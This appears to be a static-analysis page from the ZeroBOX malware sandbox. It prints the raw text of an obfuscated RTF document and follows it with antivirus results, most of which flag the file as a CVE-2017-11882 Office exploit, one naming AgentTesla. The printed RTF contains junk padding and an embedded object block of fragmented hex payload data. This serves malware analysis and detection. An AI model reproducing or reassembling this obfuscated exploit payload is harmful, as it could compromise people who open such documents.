Static | ZeroBOX
{\rtf1
{\*\listoverridetable120549674 \=}
{\107922430&.~6^2?|9!5>:,%%<=3**&|?~~5
4^1~?:
+=+&_>~?^,00&48
1->~':]%+>|`>/??+-^=
.&1_:;.]>
|'`??(8?>9?=,'
`>|;37'?8,1:9?~%/>4&:>_~9)?,%?
[??)=%&:6
8??(|7_09=1%;0-(?3
0|)~@%/8%+(.6>+??[2
7:,,6?'#'=^:1%
].3*,?,(`!.)%/?@@1%
20=9!37[<+6;?4?(@'3#2+3/~/~
7|!_'($^%@?5-
=#!+%6??%1*
?|();;%=@^0
>,_|>?4^*;4!7<`?@;?(+?_0
91&.:1:~?8,~8?,]~/5[^/8(330[_/?=7_3^'
?~66%|4);
?._4?_470>))&^?|1]=::&7?)/
!!:!05;%_,>+:''%%,<
0-)5#+'.'+3
_^54,`)?~>$
3:?2;'??=37<?1
].?'?+9,`?$[?
%,+)=~?'?~_@
/!]>^)?`/1?><4-#14<,71.+:<|
/,%0&?4`%;|]'
~$^]1!;]~
).8?7-+*3&~[1%4
|;4~=1>+!
>`,@!!5:8)]2.--@<?34*?*'5+?`0~
+<#5&?4?1>%1@=.0;4*)@|%?]-!?|:3^?6?08
#,!^0[)0`4,?3/1,]7`8|>`
&^%3$=($~3[</'-2%3@*>*;]@]-~9?&05?0->.=+.,*=#%(?/?[^-0>+=3
??_'_?@%]8+@5031&8=
0`|%7#,$7;8
*%=&|?]?0''/.&$
_]`+?4-<?9^2:'6?&?
)6#8?!,89+73
9[%$%*2#|9$$54`
(174^_;%5~7/)?!_.7
#%%9%>23[]$2-=%<.(?6?'?8
.[`?->7:.(%~1/_[*6?%
>)7=?$_=@~!$-)^?+<01%997,9;(=4-@!?&0?7/@*$@%4()<*.4+&6%?,0@?90|$%(%/%[0+
)`6`+[~>%`!,08?1&$';?>@<
%`<;|%~9,!
?-`%6,1*4+2,|?8?^-=),%~_&6.@.?
?5;]?`>71,-?222/:]~
?~/%/~*?3''*-_1&(;$=:^~`24[=%)%%^8&/#!;6
$<#@85+.$.|%98
/?.-<4&
|1!??2$>2%^`>//?)&-?=!<?./#?$(@?&5*96,?)[21[0]<8&:
(<=()+=%[60,$;?;<&%$9:#&
%8[0^9?^-0;@
0:~=??*.?1^>)'#+.=,:~?_:>/?$7
8(@@/53:2(2-1^77]?%#1*'!
9=%%8][,$98?.^-`!_4/?
5*,44|?9$6?8|~(.~7^%[
5:<90^`?'
^,~@$??<9_7+'%~%
:$8???:4,'#*?0?_
.)&-?=[+##.?7?0/8
?34_@)?9
|87;?>^/@
(59+[??)-0]2'??@?0%/~[_9
,*@05~5%'=|%>/'3?&9:+%+
#+(+^?|?
.]@?2?/?0;[!>
@.9%96???/[?&37'3?(
?%.^6',$<5%=/)[64?0?8??!_[
:?5=,_88>>1?5$86=$
4!~??%-#.3&2?008^@@?]?9!#%%+#%7'>.64#=%#!9$?7?#^(%+:&]
>4#@!?
3[61?%_
:4(%8>`'%?%$^/)
&_[#?%(]|`#@:]^_?,.@&]43;
``2~1;7(6)<27>#8%0?%>*`~$3],?`?(??@%45(`_4?;?@,
%:%.!?68?(;(#:%,+6/<9
>((9/1~>(?0$8?>%??=^=_$&[_%3~$'3;??)0?=7/?[%%[_8_%/#;&5?
108?(/!$%[|?>1.-5`[&?;@')
#'020`??1-1@$0;'?9*63/-%%1@1^1?|?_)/=`?/%-6);*4_%>0?^*+%>'+`_$?%@9%?34.;([9,?()`]5>
,$*1<)>
<>$(>'#>#5/+|1>
|?14[82=
?9?$??]3'
~%375]87~*=??,92%`/8%,.64~'?-=
^/?>!:/9^#0?,'_@^3&/?@?&?5=.+[>-7)
?_,%(_?.
?2?#4?$09:<]6+;7
+4)~<_7>%,%@!>?<?2|
$-8!)?92)#/|~9?^~2:67'@=!,*~?[=[@?=%6&+&[5??1,`
,%,45?3)9]^%?1(85?!)'%)=)|-[',
0.8%!?
|^,0@_-?~?
%(;63*12>|=^<+^6??8-^*6?6'[?~[*4[1,?=4?46`-`1?%(-
1+?</?.!0?.50[]?]|.#14)?~2??0:
&5]^%9,]657)352)%@?%$??3%65%%11;%4^(~`*%19,3<#?$(,8|'(2=[-^@+]$;=**
<??`-5_,3?|?:|
:&?$#?
?<.]9%]2_+/)]$+~?]|;~88$6!5^3@,?
5?0`3$<26
40;%4%?|)1/*?
0-_)']/%--
)@9).;&61%7%5>?7
?.=:@%!8.?^08|!$
?9%7-3-;??.5~+/%8,4&789!?@?6%&@?;!(4_^
--^192+]+`
0#_3$<6($@%4//??,-9^?
[*5-&^>?,],/0&?:6&,>?
)?6<],-86|!'?=`09(?!?
[1;-?(*,7~3~
>`?/+4??5):617
&)'@/'
&#!#%?8_9[!|0'?79`;;#*4:83?&*~???.?>!99=5&>2|~`>)6>7
;0!_~(%?5$0%?<_
77%7*?>..?09!!]'691|_;7[+1.?<-8
*][?@[^2%2?(];/^|[:?;6)]')?]094?|35`/73~9**
!1>::]|.6^>[6*0)1*.*)'/9[%?
=$2<^[($|28,+98@-_47
!+:59+<;>_86#?(!86#^%=/68,[
~1-``=|'36%^7/?=??&)88
:7|%?'!/&
/7?_:)`?7$,]3[6*,]!8:&@
>$^<10+]2?8[4~.%~_@
^*>?|(625|(@,)_+4?!,.42?9
+|#[@'&?5_75?&*#/`%$$)`#>`,|940!?[#;'>(%62]9??30/
;49:-44#0:_@53+?;]:%^.0_#@6;?,?-^++<4|;&:+/9$|_<+>/7,<#'0=.0~;$>*
(&=;,??%
|]=75-?
'<.8`;&*?5
>$;5?_?';+4>?&6?'0?!6-?,@%6&@70@*=')82-?^2$?*4/])
0_=**,=~~:5]%*)-?`];]2|9?<?1(?%=5'5+5+=~_'2+6[
<670?&=/<
=^9=61?#6$@``??1'<(8+<%>2[/(~?.'%
:;_?`2^4?]9+.1*`-
'<'?2<?'
!)&/?_=56
;?|'?*+!@(-&
]!26^0?_
2$,*2:'])?<'23*5-:^,?@.;
;`[+<+?|42.?,'%0$9?|.=#7?$*
%41>?(;|.)5.9-0=??
?)?.*8!;);#$?@?01?~*~3!-18;9~;|';?<.>$`7(??+$2.]3:;??~?8+15`%'03:(
+0[<-?)<^`&2|'%[.%8$%!78~71
;2(!,./??=4':.&
$<82*?4_%9?//*=^#0#.@*279>7;'|(6[>!:%?/0*$?[]96[>`,>~:,/1/27?4?(<
5&&%$<`3.<3/1?6`53<
:9(53<~?(<([95=%>2~/_,???713]
1|78=?%3[$?|_::-($1/;)3?
&%5/07|.-333%'=!3:6@/>#/|=|
3=2%<?`_2;)_<?&)~'4[1*4[?+;^.=~4/(/*@$%2*,<
<:%1@[%+;<
51<%_>(-^77-?8%(>%`+=5`?
=^'%?6*_$+86.~]?242
~?7~>>1`?
23_|=@:3=]_-=5?]=~42~
#<:_@~%^@=@=?]92*?]13%|??%(?25
75-%>/./9@#3=(^?@
+?]#)(&?/5
<[~?%=^:^?;?9^~6$36~=9%;?((';`@!%??*-+3%5]?$$
<?&??!^$
-:!;-)<?,!)(
^~`^(2*81@*5?&?6~8^^?&#1])[@-$?1-?'[
(&9:694+7']'+&
>(?#*`?%%%
#8`^.`&~@
$</?`*?<<-|7^<05-('
~^0]#`/?]4?-(9!8%_(??97@`~'_``[,18?/
.|1)=72~'
41+;??#!%$=6:?-8(]'(6(^6>
(//_203;?`6,??)?1!4>232>]=_].-1:@?>
,9,8/#7?#0?^
>#?9<#>(.7
92.~.8??#
616,)/>3,&8
>0^_(*?0&##)1(+1,;8`(:$
>7&;>2%*?3/!8`
!^@+=;?)/@!>8?%1>,@`[
~`%+1_`)(%6*^#(
9,~(!9(3&7?&9?#-88
$573,?
&,~+6_]4`??/'6'*-?
+;`2/[?+?.?|$_6?%9.]<-$
:+|~&?%%-$?2??%9??
9$)_-%<~+]?7>%)~
8/=*'_,8#%^7,^/?]$92?.!~?
-!&+#-41&=;'034?5?
%-_'^4@1-*3
,?%/?(+`%-=
6&]1]?01/3<5&.%10$=??32??_>]03
=5_+18~5,9,+|%.'
;]18~^3,_;+
|>1&]$=?--%
?`;%$`#:??+0
1|?2:5:9%=/
3;%)4_?;3&;#0<8/4%)#&
36?-???2>163_
0/9%_?8%&3!''%:;!*]@61.
6@['2.9_.!64!?/&*.1-+4~/$$~*$%|^8%^==]>28$5453~.8]%?~?#`<*03
~817*^@<'21[0%?3]6$!698#7&$)]5).*44,0;:%^_<%^$?`^%.71_7,
?);?=?0?^`_]?
38'-,/[0[']$+@
?.98]=`'`;&]%/%
-_4.55:^%|:0@_$)%;289|#:%4%*,4>?(_%-%8|?0.
(:]5>,|(8^_`%?,?=3]7
,:(=!9
/#!?]3@
,]&-%'_~2=2[=%<?-6?6(~`[5|-:
2]]?`7%++?0.+@<?4^^?1%`_%[
6,?'.0~?:3<9`>
_%?|3^':1
.8*?>@0!|2[>??6&0?+*0<4
9[-.;*
@?'%4*_9>%()_
2!~!&6)]15$)?%<[?
?+^&?;?6(5?!`%@;:%448??9/
+.|!`,;4.
`%1]~/6=_;~>7#?].6$[
?:(28'-~77-,]~7?
+[*%[-0>@<
':.%]5[%`7:%20!#[@;#[?]_<
?'*$;!&`.
<+?2?(%?%~+>3??(-]@?4?8
09?]'@)?..*96.)2;^/.2~.%$%0;2:8=,~-`?$?8?%.9`00
$,'($0?1|?]=4@/|,_.|~,5[???,)(]`?3.08'[@??&?3`
(;]%?_<-;^
?~2''@^![?!67?
?,[(0/&[;~]><:2/
2@.;:(
:/;?=9;;*[?%1&'@9.4#.?]3/)3*%
~5??9?-8+28?,#??*=/16?|[02*|^.>#??1
|6];`??`-$_][)?-&@|11*
/-?|1=
@;)!^?'`?1
._#5]5;??0
^,'_-?>`~2
42?0(?0'(0^-?<8??3?_[>9)8')_1
7=87)^6->@)39
5>7:@>=?+?
%!?!@,%/?/9[.$>&162
!>%?.%`~2_=|?+
6]@]??:?'5~
9?-=?8&9%0;[0>#`?06+(`@*
~5%??0-)%?7,893#?
3-(,7,^
'|%3~@#>?>=_>!%[:@
,?1[76]+?^:_6,-,'?!$#<`2?
:@,:-98#%5=;^'?1
6&~;1'_?=02(>?14|
:?2:<_):90,
,'?|??'$>:'%$>:&)9,+((?(4&1-^/
&#|~?<!3'4<
.?2?[$<4<2,8@:/_<($,|@+7|04<|
>4#19;.?
^(!.'1'>-~
|?+!+[!$;%(#/?/$@`?><:?]+-)>:/)9#%%=|
?_[&[/??0$>
664?,?,|(9%8|~]](8'05*_&`
,0$3032?>^9`:*
0%1%0>
2,=3_8+&@.]`]
7.&65#'=??(3@7'??_7!5??';
6&-~'`
>3`5|/%'?3?=0$%??=^
)+/1><
1>%![59_-5>^5:%>^#0?)&;|4&4-0.4?
??2;)/3@$
14)3@&-1,?68?7@/)87???>#8>*%'^00?%
?,.<])(.*2|][090>4]&3><~|.>?#2
++??6>
|~.]%$^^<@?,&>&2;(5??|%|
<5%_:$|8
?2));'6.-=-6]59/,7[<[
%5._%?&?]8[!]3
<~*?>|&&|&;^?
)?[?>>!%^(7%)-.:
@!2)=#!,[<;3|?.1]8;:
`(??%2*@)3'?`?39>^%@[1~81@4++%'#>%.@6@<!5#![.%50+,%+;;)]$(&*[]^)6?9
^-|`9</==5?3:!$@$9?0=|30./3]|<|??8+`
%??.?9^*?*.7(*%`
:)|!'~/!1!)?5%/+/)[
3;;0,?9`(5+$?3~-0)%.?]6857?!`*8'[*[
??96]`2+0=<25
#7//8?*~<'*?!5?.*:)^,5&:!]/887-;.5)'(%~$?!?,?&*[(+;~!%/?>$4,@$~3'>596*_?#[~(:+~5#$[?!>;8%_-3/%?3&287]]/%?`<?
#!,*4'?!:
]);]*2<%?)~
`@;7,$;2:]3@|$4!???8[.#&^
6/?1285_3&?[?]@]!:#)04|]2>,.$-
!@&[5=^$[$1#!-<:4?`0(_@&)>|%`+,
*?%2!?_5
3;3^>?%|~>>??<,8`2.)>?7.#[;[~[@
;788.'0
%<0%@-2;'[??`*?>7;]%-!8+8@849^#%~&
(])#&%202!6<2?-`*3:)&7$@%%1?'5
)@?-00?|@`:0:$3?6;?],/
3-^%;-;
8:8#;=%'9>%66_6%'5[^?46`?`&5#9&?
7?|2[?2/?
.9?#@]^?
/9%>(?^
16:'4>3/-
3|>.$==*
$36+*:`?!%!&|5|`
5-?@*)+`,[?:'?|!%62?*+#?%)1|?(:@![
~??$5=82'|
(:?+[30|6]9_'=9?3^`.:?-='9
(<,&662^7=&<%1.%~#@$
[-+408?.(8+%#%5^5]%2)*`]
7~3|816]%68&4%79>-+_%484^>$~];$6.3%.]5'0%
''.[,5`3#'*80]^0+!*<3?^-[>,*4%,?%^-[%?
_<:7_>*?4*2`
#)!821
3-257&:.
@~/4^.$?
73/;7<%_/?!-$82-?<5#:`#?19&%)?($0,
|?]$?69=4?*$>@?
?$%?):&7<?95\object45895782\objlink58826760\objw9276\objh315{\objupdate61716171\*\objdata515694{\*\objalign361024971 \bin000\285235937973202223}
{\*\losbrun107850070 \bin0000\95559056639278764}
\mmreccur272963881564050\paperw04375004\'
{\object\cmnepxofdseprhgjsismwmpujjjtcmiIIBBHYAFCARQPD08661520050576068097494502568cmnepxofdseprhgjsismwmpujjjtcmiIIBBHYAFCARQPD41392041105129683379340010179{\NXFOOVOIEJCTASWIAZIEiuoupavhnlsskpycfpvykvuekynfbcz56163022472734NXFOOVOIEJCTASWIAZIEiuoupavhnlsskpycfpvykvuekynfbcz}}281a6
\bin00000
54696f
00000
85113b
c38
c4b3c
5d4b51f
0
594
ebc4dea
79
b
1f
d23b
2f0b5
d5
0d6c3
84751
1d2c9f
2a
9290b95
84bc69
f7bbe
8ff1
eda8
60
63bd260
bd9b2
e8d
2402026
26e76
ab4
277313
7a221
c
7f
03f3a3
066b552
782bf
97a19a
0d151
df2fd280ac
703f
78c6d
18625a
6
40
0
e
b8
23
5
00
7
a297c7
1
b
5
2d
81fbb
1
d2
8
b84e
5da
f
5
e
9bc291d1
4b
4c0cf
5
8
8
c6b
96
c3
4d1
6454d
1
d
f
7
f
fc
9d928
e
c
f
d
95ebd
a
5b0
5
ecc3
4
e03
7
0000eb
0000
0000eb
fdde7b
1101
ebd6
d90eb57e
8e96
10
000e9
ffffe9d00
0eb0
372ae
5effff
200
ffeb0ce
99b01
000
5
966000
969e2f0
565
6b0000
0005f
8010
f
e946fff
fffe9bf
b0000
1fffff
b23b79c5381
42590
f275
0
00005b9d
e
e9be0
00000e9
00
00
fffeb
fefff
00008d8
0008d8
1c0
9c518d8
81c1b
00008
1
2c46a000
585
59f
9cbf
8
c894b
e94ff
0e
4feffffe9
9c6fe
ff3
e9
5feff
afd
ff
ffdf
f81c2
e
2f4ebe3
847
71a665
0ac97
247651
bde7
9de
22e9
4f12c
10
8573493
25b82
1ccd0
40548
6e8f2da
dc35c
9a801e
80389
9
5cdfd031bf
08f5d
a756e1
455
65
eb74b
9
f723e
44eca
084683
af58e
a8e43a203
b214
45
b00b9
eff3c
ea090
91453
4b4facd
2
e302
0427
a7
75880
6
f0c5807
12
f1fe
36cd
8
f
4b1
dd9
6
be3c6
6ff
8bdc
f15
22447
493
d984e
81f3b
c
3342
ceb
0237dc9
5823
13d4
d000
0}}}
Antivirus Signature
Bkav W32.Common.43A9E738
Lionic Trojan.MSOffice.ObfsObjDat.4!c
tehtris Clean
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh BehavesLike.Trojan.cx
ALYac Exploit.RTF-ObfsObjDat.Gen
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.9548b23d
K7AntiVirus Clean
K7GW Clean
Cybereason Clean
Baidu Clean
VirIT Clean
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast OLE:CVE-2017-11882 [Expl]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Trojan.GenericKD.73594259
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
Tencent Office.Exploit.Generic.Gkjl
Sophos Troj/RtfExp-EQ
F-Secure Exploit.EXP/AVI.CVE.hctie
DrWeb Exploit.CVE-2017-11882.123
VIPRE Exploit.RTF-ObfsObjDat.Gen
TrendMicro HEUR_RTFMALFORM
FireEye Exploit.RTF-ObfsObjDat.Gen
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
GData Exploit.RTF-ObfsObjDat.Gen
Jiangmin Clean
Varist RTF/CVE-2017-11882
Avira EXP/AVI.CVE.hctie
MAX malware (ai score=86)
Antiy-AVL Trojan[Exploit]/MSOffice.CVE-2017-11882
Kingsoft Win32.Infected.AutoInfector.a
Gridinsoft Trojan.U.AgentTesla.tr
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Exploit:O97M/CVE-2017-11882.VRP!MTB
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!6F2F933C8154
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Rising Exploit.Generic!1.EB5C (CLASSIC)
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.DMP!exploit
BitDefenderTheta Clean
AVG OLE:CVE-2017-11882 [Expl]
Panda Clean
CrowdStrike Clean
No IRMA results available.